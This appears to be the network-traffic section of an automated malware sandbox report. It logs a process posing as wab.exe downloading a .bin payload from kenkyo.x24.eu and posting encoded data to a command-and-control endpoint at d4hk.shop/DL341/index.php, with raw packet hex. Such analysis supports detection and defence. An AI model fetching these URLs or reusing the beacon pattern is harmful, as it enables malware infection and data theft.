Aug 29, 2024 12:14:41.346090078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346203089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346215010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346225977 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346239090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346247911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346250057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346263885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346266985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346292019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346317053 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346319914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346333027 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346344948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346355915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346359968 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346369028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346379042 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346405983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346620083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346632957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346645117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346662045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346662998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346683979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346685886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346695900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346709967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346710920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.346735001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.346757889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347048998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347095013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347135067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347172976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347269058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347280979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347297907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347309113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347321033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347335100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347357988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347383022 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347393036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347425938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347584963 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347601891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347615957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347626925 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347629070 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347640038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347641945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347651958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347661972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347666025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.347688913 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.347704887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349765062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.349802017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.349812984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.349816084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349833965 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349843025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.349850893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349853992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.349867105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.349875927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349894047 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349911928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.349999905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.350039959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.384946108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.384980917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.384993076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.385049105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.385073900 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.385114908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.386518955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.386570930 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.387679100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.392545938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.952404022 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.957418919 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.957510948 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.957681894 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.957681894 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.962472916 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962483883 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962507010 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962516069 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962662935 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962677002 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.962718010 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.962738037 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962748051 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962764025 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962774038 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962781906 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.962795973 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.962810993 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.962843895 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.967452049 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.967470884 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.967600107 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.967638016 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.967681885 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.967690945 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:41.987981081 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:41.996460915 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:45.960247040 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:45.960316896 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:45.960500956 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:45.961421013 CEST	80	62661	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:45.961491108 CEST	62661	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:45.965362072 CEST	80	62661	188.114.96.3	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 12:12:26.464345932 CEST	53	59292	162.159.36.2	192.168.2.3
Aug 29, 2024 12:12:27.187705994 CEST	53	55043	1.1.1.1	192.168.2.3
Aug 29, 2024 12:13:06.892910004 CEST	58553	53	192.168.2.3	1.1.1.1
Aug 29, 2024 12:13:06.951489925 CEST	53	58553	1.1.1.1	192.168.2.3
Aug 29, 2024 12:14:35.816322088 CEST	60631	53	192.168.2.3	1.1.1.1
Aug 29, 2024 12:14:35.831146955 CEST	53	60631	1.1.1.1	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2024 12:13:06.892910004 CEST	192.168.2.3	1.1.1.1	0xab10	Standard query (0)	kenkyo.x24.eu	A (IP address)	IN (0x0001)	false
Aug 29, 2024 12:14:35.816322088 CEST	192.168.2.3	1.1.1.1	0xf450	Standard query (0)	d4hk.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 29, 2024 12:13:06.951489925 CEST	1.1.1.1	192.168.2.3	0xab10	No error (0)	kenkyo.x24.eu	5.255.110.9	A (IP address)	IN (0x0001)	false
Aug 29, 2024 12:14:35.831146955 CEST	1.1.1.1	192.168.2.3	0xf450	No error (0)	d4hk.shop	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 29, 2024 12:14:35.831146955 CEST	1.1.1.1	192.168.2.3	0xf450	No error (0)	d4hk.shop	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kenkyo.x24.eu

d4hk.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.3	62660	188.114.96.3	80	1184	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Aug 29, 2024 12:14:35.838507891 CEST	265	OUT	POST /DL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: d4hk.shop Content-Length: 103 Cache-Control: no-cache Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 60 8b 30 62 ed 47 10 8b 30 62 8b 30 6c e8 26 67 ea 45 14 eb 26 66 98 26 66 98 42 70 9d 34 70 9d 31 70 9c 47 70 9d 31 11 8b 30 6c 8b 30 63 eb 47 70 9d 30 70 9d 35 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410`0bG0b0l&gE&f&fBp4p1pGp10l0cGp0p5
Aug 29, 2024 12:14:37.545758963 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 10:14:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: Accept-Encoding,User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NcV6q2krsiCp0vsVvRUKQfm0b4vqXpCMxjOt6Htt0zeWSSyOvX7hVSpBAd5rMBrZmgB2x902GU9w%2B4mgrz2gcapQW97IcqNZEG3%2F%2BbrnvirAf5UJoMRZixI1x1A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babc66c99d542dc-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 31 63 30 65 0d 0a 3f 36 90 4f 06 dd 77 1e d7 33 21 e2 50 65 dc 4f 04 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c9 68 2f e3 42 3e dc 40 06 9e 49 11 ff 73 12 ed 57 1c e4 49 03 f8 57 07 f8 49 04 fb 68 6c e9 50 00 d6 45 1f f8 7b 10 cc 31 1b 9f 61 02 f8 76 31 e6 4d 36 ed 50 3a db 67 1d c6 33 19 ed 6c 20 f4 44 6c c4 48 3c d9 72 19 c0 6b 26 cd 7a 3a e4 4e 2f ef 49 1e d9 68 21 ed 52 65 e5 50 04 c5 37 19 c4 52 67 e2 69 10 d7 4e 2c 9a 79 18 d4 73 03 fb 74 65 e5 3f 7a cd 3d 69 c0 3d fc bb 5a 79 0b 15 48 d8 a2 5e b3 61 f2 b9 56 79 05 09 0b dc a4 5c fb 2f f1 fa 1e 65 4b 56 4b cb a7 5c a4 4f c7 5b 33 57 66 66 65 ab cb 30 9e fd 62 cb 33 ec 66 66 65 af cb 30 9e 42 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e ba 9d cb 33 5a 79 dc 6b af 7f 39 53 23 25 ca 7f 99 47 32 0d c6 b8 10 ee 70 f2 ac 41 35 0b 46 06 ce a5 5e [TRUNCATED] Data Ascii: 1c0e?6Ow3!PeOHh-PVePIh9Q`U/0`I6eKH<h7N$@:fyh/B>@IsWIWIhlPE{1av1M6P:g3l DlH<rk&z:N/Ih!ReP7RgiN,yste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1UjS#fe2'Tffe0_gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tff
Aug 29, 2024 12:14:37.545840025 CEST	1236	IN	Data Raw: 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 2c e9 ae 4b 20 66 66 65 84 cf 30 9e 02 8d cb 33 54 Data Ascii: e03Tffe03Tffe03Tffe03Tffe03Tffe0,K ffe03T`fe03Tffe0"Sz03TFfe03Tffe03ff%0'Tffe093vfe03D030ffe?03Tffe.q23Dffe03TffetOShr
Aug 29, 2024 12:14:37.545851946 CEST	1236	IN	Data Raw: 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 66 66 65 af cb 30 9e 02 9d cb 33 54 Data Ascii: e03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe
Aug 29, 2024 12:14:37.545865059 CEST	1236	IN	Data Raw: 65 c0 cb 43 9e 6d 9d ad 33 20 66 c8 65 8f cb 67 9e 6b 9d a5 33 30 66 09 65 d8 cb 43 9e ac 9d eb 33 1b 66 16 65 ca cb 42 9e 63 9d bf 33 3d 66 08 65 c8 cb 10 9e 51 9d b2 33 27 66 12 65 ca cb 5d 9e 02 9d cb 33 14 66 68 65 ae cb 60 9e 70 9d a4 33 30 Data Ascii: eCm3 fegk30feC3feBc3=feQ3'fe]3fhe`p30feDT3&fe_l3efVe,3bfTe,3affe035feYn3fe_3pfbedp3:feQv3;fe0{7Tffe03Tffe03Tffe0:3TddeI
Aug 29, 2024 12:14:37.545876980 CEST	1236	IN	Data Raw: 12 81 a6 59 fd 70 f2 b8 5c 32 12 48 06 c0 a6 1f ee 69 f4 e4 50 31 14 12 16 80 86 59 fd 70 f2 b8 5c 32 12 32 0c c2 ae 63 ea 63 f0 bb 63 17 27 48 06 dd bf 00 8d 04 9e 9e 2e 71 62 6a 55 a5 cd 38 b5 04 9c ce 36 53 65 6e 55 a2 cd 39 b4 84 d5 4d c4 59 Data Ascii: Yp\2HiP1Yp\22ccc'H.qbjU86SenU9MYgg`3lmOSstzB;{TjRdVNOy7>nI?QzcnR[p~3bkJxL:>'SPkN!Sc89{"H[,ib_
Aug 29, 2024 12:14:37.545888901 CEST	1236	IN	Data Raw: 55 9e fb 1e fd 70 f1 fb 69 52 6e 4d 63 ae ce 35 99 03 9c cf 7d 64 2a 56 2f a9 c3 1b 98 03 98 ce 34 64 64 e0 5b c7 bf 44 ee 38 b2 e4 44 23 11 48 08 c6 a8 42 f1 71 f2 ad 47 7a 05 09 08 80 bb 5b f7 2d fe ae 41 20 15 49 28 c6 a8 73 f1 66 ce a2 54 04 Data Ascii: UpiRnMc5}d*V/4dd[D8D#HBqGz[-A I(sfT%':3eVHh5I2UfkA!t&Vw1sR5{]Mi:d?Z ,k{D&^5zpzbGw[sM^w?sQ8&:rn
Aug 29, 2024 12:14:37.545907974 CEST	776	IN	Data Raw: 60 aa cc 31 9f 06 d5 fb 75 64 22 60 6d 84 cd 31 9b 07 9a fb 31 d2 5e 0e 11 db bb 0a b1 2d ea bc 44 7a 0b 0f 06 dd a4 43 f1 64 e9 e5 50 3b 0b 49 15 c4 a2 1f fd 67 ef bf 40 7b 2b 0f 06 dd a4 43 f1 64 e9 99 5c 3b 12 25 00 dd bf 1e fd 70 e9 fb 3e 52 Data Ascii: `1ud"`m11^-DzCdP;Ig@{+Cd\;%p>RoLM6Tegi<u%]/9pmF=!QcG8?cej'e*<kVntKnfS/~i3;T}s1Wms(KRZQ!z;-l3vZ
Aug 29, 2024 12:14:37.545988083 CEST	1236	IN	Data Raw: 54 9f ff 00 ad 33 ae fb 00 64 5f 3c 55 d8 fa 3b ae 0b 9b c8 66 50 60 75 67 fa 98 01 8d 32 8c cd 30 01 62 6e 76 a5 9c 51 ed 6a f4 a5 54 20 09 08 54 bf fb 3e 98 01 c8 cf 34 47 61 34 00 cb a6 5f f0 66 ac d5 03 48 60 65 30 ab c1 23 8b 4f f4 a8 41 3b Data Ascii: T3d_<U;fP`ug20bnvQjT T>4Ga4_fH`e0#OA;spA5fPeu}SmU F2vCt6%$I12:~.X10gieI12TXzM(S~+OL VFtDO$7/;yVL
Aug 29, 2024 12:14:37.546001911 CEST	1236	IN	Data Raw: 42 db cd 21 70 74 bc 74 a8 d6 a7 41 31 19 7a 5a a3 8b 3c bd 52 e0 08 c7 76 09 74 9a d9 f2 8f a4 ce de 54 0a d7 51 14 61 56 8e be 02 55 e9 fb 7b e2 bd af 32 a3 2f 32 92 bc ec 82 47 80 1a 7b fa fd b6 e5 9f 36 80 27 48 35 03 5f 80 3b 7a 36 78 93 c2 Data Ascii: B!pttA1zZ<RvtTQaVU{2/2G{6'H5_;z6x\|=L# \>#>xfQjV;mgxlwlWOkIeiTWB2dU;fP`ug20bnvQjT T>4Ga4_fH`e0#OA;
Aug 29, 2024 12:14:37.546015978 CEST	1236	IN	Data Raw: 77 62 56 34 e2 2b ae 5a 0e e7 a2 f1 02 a2 4d 8c 74 6f 03 2d d0 57 a6 4f 11 af 69 ed 63 88 99 ff 03 0c 0b 60 59 2a 31 e7 cf b1 d6 12 af 7e 98 a7 86 08 e5 5e 53 75 c4 1a a6 de e5 83 10 ec ee 46 fc fb 3c 74 ae 7a 29 89 ac a5 ef 93 e1 3d 58 44 1d 9e Data Ascii: wbV4+ZMto-WOic`Y1~^SuF<tz)=XDA'v&\io^_(`&k_JBY3Jw&mA+q;I5Ubg43dDPJ<>Uad-1UgWj6b21ebg0^Rgbd-
Aug 29, 2024 12:14:37.546027899 CEST	1236	IN	Data Raw: 55 99 e5 53 ec 6e ad 91 35 5c 4d 60 64 aa ce 37 9f 03 99 85 03 18 56 2c 63 a7 e0 36 9f 07 98 cc 03 56 e0 58 0d db bf 40 a4 2d b2 bc 44 23 48 0b 0c cc b9 5f ed 6d fb bf 1d 37 09 0b 4a df a0 59 b1 61 f8 b9 47 27 49 2b 0c cc 88 5f fa 51 f4 ac 63 17 Data Ascii: USn5\M`d7V,c6VX@-D#H_m7JYaG'I+_Qc'9W2bH< Uga0.1UgfVR42r.5=30FelnMCB{(1YeS'5>WYoGqfU}<yiRM#b':ZD`&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.3	62661	188.114.96.3	80	1184	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
Aug 29, 2024 12:14:41.957681894 CEST	164	OUT	POST /DL341/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1) Host: d4hk.shop Content-Length: 34052 Cache-Control: no-cache
Aug 29, 2024 12:14:41.957681894 CEST	11124	OUT	Data Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 60 8b 30 62 ed 47 10 8b 30 62 8b 30 6c e8 26 67 ea 45 14 eb 26 66 98 26 66 98 42 70 9d 34 70 9d 31 70 9c 47 Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410`0bG0b0l&gE&f&fBp4p1pGp10l0cGp0p5)0d0e10eT<g:pp3p2p3p3w0s'p0{p5p7)0f0c0b0b0e0ck4g/&fp3)0e&f&fBg64.b;4g0x4.a66:l6m@`4
Aug 29, 2024 12:14:41.962677002 CEST	8652	OUT	Data Raw: 42 1e fd 49 1d fd 54 05 e3 5b 0c e0 50 03 e0 59 16 ec 55 04 fd 50 11 e3 42 0d e6 41 16 ed 42 17 ed 41 1f e3 5b 00 ec 41 18 fd 44 19 fb 4d 11 e0 49 06 e9 59 00 e3 47 03 e8 4a 1f e0 4c 10 e2 44 1c e8 56 19 f4 48 05 e4 47 03 e0 59 04 fe 47 1a f9 40 Data Ascii: BIT[PYUPBABA[ADMIYGJLDVHGYG@RUGEUPMOPWETGLEM@ZVDPFPHDDMDGJLT@[WFLALPKIQMBWZJZQSH[
Aug 29, 2024 12:14:41.962718010 CEST	2472	OUT	Data Raw: 59 05 ef 48 06 e4 4b 06 f9 53 18 f6 5a 1b fd 55 1b f4 40 17 f8 52 06 fd 47 18 ef 5b 1d ec 40 16 ef 41 16 ec 49 18 f6 56 17 ec 4e 06 e9 4f 00 e0 47 1b e4 50 12 f4 56 18 ea 55 13 e7 49 1b e1 46 19 e9 4a 13 fb 4f 0f e5 53 1f ea 55 1b f4 52 05 ea 4c Data Ascii: YHKSZU@RG[@AIVNOGPVUIFJOSURL[DIKKHYNVWYPQYANUIOGPVDFQ[KLGQEAIIGQSTORTDAGVKH[S@NAW
Aug 29, 2024 12:14:41.962795973 CEST	4944	OUT	Data Raw: 49 0c ec 40 19 eb 56 19 ec 4f 0c f6 44 18 e9 4c 07 f9 5a 17 e0 4a 12 e0 51 00 f9 49 14 fa 47 1e f9 57 1b fd 57 1f ec 55 13 ff 46 1b eb 53 0f e4 40 03 f9 51 07 e3 5b 13 e8 4b 10 ec 53 17 e9 52 0f fa 47 17 ed 40 18 ed 52 11 f7 56 0c e7 40 19 fb 59 Data Ascii: I@VODLZJQIGWWUFS@Q[KSRG@RV@YZBVKMDPBJSFFSRTW@PFGT@MQZL@XSAUUU-"QWUUE<f&1LU@_TS@g:{TS@V
Aug 29, 2024 12:14:41.962810993 CEST	4944	OUT	Data Raw: 33 65 8e 43 75 9c 2d 61 9e 23 12 e6 79 58 a4 40 05 fb 23 16 c1 76 3b da 39 75 9a 0e 5f e9 66 21 fc 42 18 94 23 6d 9f 3a 64 a3 09 03 c7 67 30 c1 23 1c c0 65 3a a3 09 18 c7 60 27 c1 70 3a c8 77 75 ec 62 26 c7 60 75 ea 6a 26 de 6f 34 d7 23 14 ca 62 Data Ascii: 3eCu-a#yX@#v;9u_f!B#m:dg0#e:`'p:wub&`uj&o4#b%f'X_z&f8S'`0p\z&f8\Q0j&q,\p8p{{0\N0l'#n%f&j:_p'p{{0"m<j!f-_p0u<f&f-_&`=p!f-_\w4wm {%q<m6
Aug 29, 2024 12:14:41.962843895 CEST	1916	OUT	Data Raw: 45 3c c2 66 26 f2 32 09 eb 54 0f ed 55 12 e0 4c 02 fa 2d 2d c2 70 2d fe 48 54 ac 0d 55 a0 03 55 ae 03 55 ae 03 55 ae 3e 75 f8 83 57 aa 03 55 ac 07 55 ae 14 55 ae 03 55 ae 03 55 af 03 75 ae 03 55 0b 0f 55 ae 45 3c c2 66 26 f2 32 09 e5 4f 1c f4 56 Data Ascii: E<f&2TUL--p-HTUUUU>uWUUUUUuUUE<f&2OVR--p-HTUUUUWUUUUUuUrUE<f&2DMH-1`-HTUUUUWUUUUUuUUE<f&2DMH--p-HTUUU
Aug 29, 2024 12:14:41.987981081 CEST	1236	OUT	Data Raw: dd 5f 64 f2 46 1c f8 52 06 ef 4c 01 ef 52 09 e5 4f 1c f4 56 06 e7 52 10 e0 2d 2d c2 70 2d fe 48 54 ac 0d 55 a0 03 55 ae 03 55 ae 03 55 ae 1b 1d 19 d3 57 aa 03 55 ac 07 55 ae 14 55 ae 03 55 ae 03 55 af 03 75 ae 03 55 78 31 55 ae 45 3c c2 66 26 f2 Data Ascii: _dFRLROVR--p-HTUUUUWUUUUUuUx1UE<f&1JPW-1`-HTUUUU)WUUUUUuU4UE<f&1LU@-1`-HTUUUU~I]WUUUUUuU8UE<f&1TUL--p-HTU
Aug 29, 2024 12:14:45.960247040 CEST	627	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 10:14:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/5.6.37 Vary: User-Agent CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kQZ7hpXlqYto%2F3OpIcVVCR5uEgn7KOPB9Fn8PCzYYQwTfQAqwocbSvXYFZzPji04DCwB8CnjIXS9q%2FGthPUA%2BIYXTk2uhAzRqHGgVCcqk4xzGUdBqNMUCZZBN8s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babc692df211916-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7falseOK0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.3	62658	5.255.110.9	443	1184	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:13:07 UTC	183	OUT	GET /wp-includes/ipfrjK171.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: kenkyo.x24.eu Cache-Control: no-cache
2024-08-29 10:13:08 UTC	251	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 29 Aug 2024 10:13:07 GMT Content-Type: application/octet-stream Content-Length: 114752 Connection: close Last-Modified: Thu, 22 Aug 2024 09:07:58 GMT ETag: "1c040-62041feb64d76" Accept-Ranges: bytes
